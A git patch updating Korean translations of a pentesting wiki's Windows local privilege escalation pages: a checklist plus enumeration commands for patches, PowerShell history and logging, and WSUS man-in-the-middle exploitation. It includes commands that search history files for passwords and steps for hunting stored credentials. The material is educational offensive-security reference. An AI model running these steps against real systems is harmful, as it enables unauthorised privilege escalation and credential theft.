From da2a3aa30359aba16a2fdf366c469ad8dff2e81c Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 14:53:20 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/ab --- src/SUMMARY.md | 1 + .../checklist-windows-privilege-escalation.md | 165 ++--- .../README.md | 653 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 121 ++++ 4 files changed, 537 insertions(+), 403 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index ceb4be25d..da948cecc 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# 체크리스트 - 로컬 Windows 권한 상승 +# 체크리스트 - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [시스템 정보](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] [**시스템 정보**](windows-local-privilege-escalation/index.html#system-info) 얻기 -- [ ] **커널** [**스크립트를 사용한 익스플로잇**](windows-local-privilege-escalation/index.html#version-exploits) 검색 -- [ ] **Google을 사용하여** 커널 **익스플로잇** 검색 -- [ ] **searchsploit를 사용하여** 커널 **익스플로잇** 검색 -- [ ] [**환경 변수**](windows-local-privilege-escalation/index.html#environment)에서 흥미로운 정보? -- [ ] [**PowerShell 기록**](windows-local-privilege-escalation/index.html#powershell-history)에서 비밀번호? -- [ ] [**인터넷 설정**](windows-local-privilege-escalation/index.html#internet-settings)에서 흥미로운 정보? -- [ ] [**드라이브**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**WSUS 익스플로잇**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**System information**](windows-local-privilege-escalation/index.html#system-info) 얻기 +- [ ] **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) 검색 +- [ ] **Google**로 kernel **exploits** 검색 +- [ ] **searchsploit**로 kernel **exploits** 검색 +- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment)에 흥미로운 정보가 있는가? +- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)에 비밀번호가 있는가? +- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)에 흥미로운 정보가 있는가? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [로그/AV 열거](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] [**감사**](windows-local-privilege-escalation/index.html#audit-settings) 및 [**WEF**](windows-local-privilege-escalation/index.html#wef) 설정 확인 +- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 및 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 설정 확인 - [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) 확인 -- [ ] [**WDigest**](windows-local-privilege-escalation/index.html#wdigest)가 활성화되어 있는지 확인 -- [ ] [**LSA 보호**](windows-local-privilege-escalation/index.html#lsa-protection)? -- [ ] [**자격 증명 가드**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**캐시된 자격 증명**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) 확인 -- [ ] [**AppLocker 정책**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? -- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**사용자 권한**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] [**현재** 사용자 **권한**](windows-local-privilege-escalation/index.html#users-and-groups) 확인 -- [ ] [**특권 그룹의 구성원**](windows-local-privilege-escalation/index.html#privileged-groups)인가요? -- [ ] [이 토큰 중 어떤 것이 활성화되어 있는지 확인](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**사용자 세션**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] [**사용자 홈**](windows-local-privilege-escalation/index.html#home-folders) 확인 (접근 가능?) -- [ ] [**비밀번호 정책**](windows-local-privilege-escalation/index.html#password-policy) 확인 -- [ ] [**클립보드**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) 안에 무엇이 있나요? +- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)가 활성화되어 있는가? +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] 어떤 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)가 있는가 확인 +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) 확인 +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) 확인 +- [ ] 현재 사용자 **privileges** 확인 (권한) +- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) 인가? +- [ ] 다음 토큰들 중 활성화된 것이 있는가: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) 확인 (접근 가능?) +- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) 확인 +- [ ] [**Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)에 무엇이 들어있는가? -### [네트워크](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] **현재** [**네트워크** **정보**](windows-local-privilege-escalation/index.html#network) 확인 -- [ ] 외부에 제한된 **숨겨진 로컬 서비스** 확인 +- [ ] 현재 **network information** 확인 +- [ ] 외부에 제한된 **hidden local services** 확인 -### [실행 중인 프로세스](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] 프로세스 바이너리 [**파일 및 폴더 권한**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**메모리 비밀번호 채굴**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**안전하지 않은 GUI 앱**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] `ProcDump.exe`를 통해 **흥미로운 프로세스**로 자격 증명 도용? (firefox, chrome 등 ...) +- [ ] Processes binaries의 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) 확인 +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] `ProcDump.exe`를 이용해 **흥미로운 프로세스**에서 자격증명 탈취? (firefox, chrome 등 ...) -### [서비스](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [**서비스를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#permissions) -- [ ] [**서비스에 의해 실행되는 바이너리를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [**서비스의 레지스트리를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [**인용되지 않은 서비스 바이너리 경로**](windows-local-privilege-escalation/index.html#unquoted-service-paths)를 이용할 수 있나요? +- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**응용 프로그램**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **설치된 응용 프로그램에 대한** [**쓰기 권한**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**시작 응용 프로그램**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **취약한** [**드라이버**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **쓰기** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) 확인 +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) -### [DLL 하이재킹](windows-local-privilege-escalation/index.html#path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] **PATH 안의 어떤 폴더에 쓸 수 있나요?** -- [ ] **존재하지 않는 DLL을 로드하려고 하는** 알려진 서비스 바이너리가 있나요? -- [ ] **바이너리 폴더에 쓸 수 있나요?** +- [ ] PATH 내부의 폴더에 쓸 수 있는가? +- [ ] 알려진 서비스 바이너리 중 존재하지 않는 DLL을 로드하려고 하는 것이 있는가? +- [ ] 어떤 **binaries folder**에 쓸 수 있는가? -### [네트워크](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] 네트워크 열거 (공유, 인터페이스, 경로, 이웃 등 ...) -- [ ] 로컬호스트(127.0.0.1)에서 수신 대기 중인 네트워크 서비스에 특별히 주목 +- [ ] 네트워크 열거 (shares, interfaces, routes, neighbours, ...) 수행 +- [ ] localhost(127.0.0.1)에서 수신 중인 네트워크 서비스에 특히 주의 -### [Windows 자격 증명](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) 자격 증명 -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 자격 증명을 사용할 수 있나요? -- [ ] 흥미로운 [**DPAPI 자격 증명**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] 저장된 [**Wifi 네트워크**](windows-local-privilege-escalation/index.html#wifi) 비밀번호? -- [ ] [**저장된 RDP 연결**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에서 흥미로운 정보? -- [ ] [**최근 실행된 명령**](windows-local-privilege-escalation/index.html#recently-run-commands)에서 비밀번호? -- [ ] [**원격 데스크톱 자격 증명 관리자**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호? -- [ ] [**AppCmd.exe** 존재](windows-local-privilege-escalation/index.html#appcmd-exe)? 자격 증명? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL 사이드 로딩? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 자격증명 +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 사용 가능한 자격증명? +- [ ] 흥미로운 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] 저장된 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)의 비밀번호? +- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에 흥미로운 정보? +- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)에 비밀번호가 있는가? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 자격증명? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [파일 및 레지스트리 (자격 증명)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**자격 증명**](windows-local-privilege-escalation/index.html#putty-creds) **및** [**SSH 호스트 키**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**레지스트리의 SSH 키**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] [**비대면 파일**](windows-local-privilege-escalation/index.html#unattended-files)에서 비밀번호? -- [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 백업이 있나요? -- [ ] [**클라우드 자격 증명**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)에 비밀번호가 있는가? +- [ ] 어떤 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 백업이 있는가? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 파일? -- [ ] [**캐시된 GPP 비밀번호**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] [**IIS 웹 구성 파일**](windows-local-privilege-escalation/index.html#iis-web-config)에서 비밀번호? -- [ ] [**웹 로그**](windows-local-privilege-escalation/index.html#logs)에서 흥미로운 정보? -- [ ] 사용자에게 [**자격 증명 요청**](windows-local-privilege-escalation/index.html#ask-for-credentials) 하시겠습니까? -- [ ] [**휴지통 안의 흥미로운 파일**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] [**자격 증명 포함 레지스트리**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] [**브라우저 데이터**](windows-local-privilege-escalation/index.html#browsers-history) 안에 (dbs, 기록, 북마크 등)? -- [ ] [**파일 및 레지스트리에서 일반 비밀번호 검색**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) -- [ ] 비밀번호를 자동으로 검색하는 [**도구**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)에 비밀번호가 있는가? +- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs)에 흥미로운 정보가 있는가? +- [ ] 사용자에게 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 요청할 것인가? +- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)에 있는 흥미로운 파일들? +- [ ] 자격증명을 포함한 다른 [**registry**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) 내부 (dbs, history, bookmarks, ...)? +- [ ] 파일과 레지스트리에서의 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) +- [ ] 비밀번호를 자동으로 검색하는 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) -### [유출된 핸들러](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] 관리자에 의해 실행된 프로세스의 핸들러에 접근할 수 있나요? +- [ ] 관리자 권한으로 실행된 프로세스의 핸들러에 접근할 수 있는가? -### [파이프 클라이언트 가장하기](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] 이를 악용할 수 있는지 확인 +- [ ] 악용할 수 있는지 확인 {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index f07cd19c8..c00ae36eb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -8,7 +8,7 @@ ### Access Tokens -**만약 Windows Access Tokens가 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽으세요:** +**Windows Access Tokens가 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽으세요:** {{#ref}} @@ -35,18 +35,18 @@ integrity-levels.md ## Windows Security Controls -Windows에는 시스템 열거를 **방해할 수 있는**, 실행 파일 실행을 차단하거나 심지어 **활동을 탐지할 수 있는** 다양한 요소가 있습니다. privilege escalation 열거를 시작하기 전에 다음 **페이지**를 읽고 이러한 모든 **방어** **메커니즘**을 **열거**해야 합니다: +Windows에는 시스템을 열거하지 못하게 하거나, 실행 파일 실행을 차단하거나, 심지어 활동을 탐지할 수 있는 여러 요소가 있습니다. privilege escalation enumeration을 시작하기 전에 다음 페이지를 읽고 이러한 방어 메커니즘을 모두 열거하세요: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## 시스템 정보 +## System Info ### 버전 정보 열거 -Windows 버전에 알려진 취약점이 있는지 확인하세요 (적용된 패치도 확인하세요). +Windows 버전에 알려진 취약점이 있는지 확인하세요(적용된 패치도 확인하세요). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### 버전 Exploits +### Version Exploits -이 [site](https://msrc.microsoft.com/update-guide/vulnerability)는 Microsoft 보안 취약점에 대한 자세한 정보를 검색하는 데 유용합니다. 이 데이터베이스에는 4,700개가 넘는 보안 취약점이 포함되어 있으며, Windows 환경이 제공하는 **massive attack surface**를 보여줍니다. +이 [site](https://msrc.microsoft.com/update-guide/vulnerability)는 Microsoft 보안 취약점에 대한 자세한 정보를 검색하는 데 유용합니다. 이 데이터베이스에는 4,700개가 넘는 보안 취약점이 등록되어 있어 Windows 환경이 제공하는 **massive attack surface**를 보여줍니다. -**시스템에서** +**On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas에는 watson이 내장되어 있습니다)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas에는 watson이 포함되어 있음)_ -**시스템 정보로 로컬에서** +**로컬에서 시스템 정보 사용** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github의 exploits 저장소:** +**Github repos of exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### 환경 -Any credential/Juicy info saved in the env variables? +env variables에 저장된 credential/Juicy 정보가 있나요? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell 트랜스크립트 파일 +### PowerShell Transcript files -이 기능을 켜는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 확인할 수 있습니다. +이를 켜는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 확인할 수 있습니다. ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,29 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell 파이프라인 실행의 세부사항이 기록되며, 실행된 명령, 명령 호출, 스크립트의 일부가 포함됩니다. 그러나 전체 실행 세부사항과 출력 결과는 캡처되지 않을 수 있습니다. +PowerShell 파이프라인 실행의 세부사항이 기록되며, 실행된 명령, 명령 호출 및 스크립트의 일부가 포함됩니다. 다만 전체 실행 세부정보와 출력 결과는 모두 캡처되지 않을 수 있습니다. -이를 활성화하려면 문서의 "Transcript files" 섹션에 있는 지침을 따르고, **"Module Logging"**을 **"Powershell Transcription"** 대신 선택하세요. +이를 활성화하려면 문서의 "Transcript files" 섹션에 있는 지침을 따르되, **"Module Logging"**을 선택하고 **"Powershell Transcription"** 대신 사용하세요. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell 로그의 최근 15개 이벤트를 보려면 다음을 실행하세요: +PowersShell 로그의 마지막 15개 이벤트를 보려면 다음을 실행하세요: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -스크립트 실행의 전체 활동 및 전체 내용 기록이 캡처되어 각 코드 블록이 실행될 때마다 문서화되도록 보장합니다. 이 과정은 각 활동에 대한 포괄적인 감사 추적을 보존하여 포렌식 및 악의적 행위 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 상세한 통찰을 제공합니다. +스크립트 실행의 모든 활동과 전체 내용이 기록되어 각 코드 블록이 실행되는 동안 그 내용이 문서화됩니다. 이 과정은 각 활동에 대한 포괄적인 감사 추적을 보존하며, forensics 및 악성 행위 분석에 유용합니다. 실행 시점에 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰을 제공합니다. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block에 대한 로깅 이벤트는 Windows Event Viewer의 다음 경로에서 확인할 수 있습니다: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ 마지막 20개의 이벤트를 보려면 다음 명령을 사용하세요: +Script Block에 대한 로깅 이벤트는 Windows 이벤트 뷰어에서 다음 경로에서 확인할 수 있습니다: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +마지막 20개의 이벤트를 보려면 다음을 사용할 수 있습니다: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -155,13 +156,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -업데이트가 http**S**가 아닌 http로 요청되는 경우 시스템을 침해할 수 있습니다. +업데이트가 http**S**가 아닌 http로 요청되는 경우 시스템을 compromise할 수 있습니다. -다음 명령어를 cmd에서 실행하여 네트워크가 non-SSL WSUS update를 사용하는지 확인합니다: +다음 명령을 cmd에서 실행하여 네트워크가 non-SSL WSUS 업데이트를 사용하는지 확인합니다: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -또는 PowerShell에서 다음과 같이: +또는 PowerShell에서 다음을 실행: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -179,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -그리고 만약 `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` 또는 `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` 값이 `1`이면. +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -그러면, **취약하여 악용 가능합니다.** 마지막 레지스트리 값이 0이면 WSUS 항목은 무시됩니다. +Then, **취약하게 이용할 수 있습니다.** If the last registry is equals to 0, then, the WSUS entry will be ignored. -이 취약점을 악용하려면 다음과 같은 도구들을 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이들은 non-SSL WSUS 트래픽에 'fake' 업데이트를 주입하도록 weaponized된 MiTM 익스플로잇 스크립트입니다. +In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. -연구 자료는 다음을 참조하세요: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,25 +195,34 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -기본적으로 이 버그가 악용하는 결함은 다음과 같습니다: +Basically, this is the flaw that this bug exploits: -> 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows Updates가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 로컬에서 [PyWSUS](https://github.com/GoSecure/pywsus)를 실행해 자신의 트래픽을 가로채고 에셋에서 권한 상승된 사용자로 코드를 실행할 수 있습니다. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> 또한 WSUS 서비스는 현재 사용자의 설정을 사용하므로 사용자의 인증서 저장소도 사용합니다. WSUS 호스트명에 대해 self-signed 인증서를 생성하여 현재 사용자의 인증서 저장소에 추가하면 HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대해 trust-on-first-use 유형의 검증을 구현할 HSTS와 유사한 메커니즘을 사용하지 않습니다. 제시된 인증서가 사용자에게 신뢰되고 올바른 호스트명을 가지면 서비스는 이를 수락합니다. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -이 취약점은 도구 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)를 사용하여 악용할 수 있습니다(공개되면). +이 취약점은 도구 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)를 사용하여 악용할 수 있습니다 (도구가 공개되면). + +## 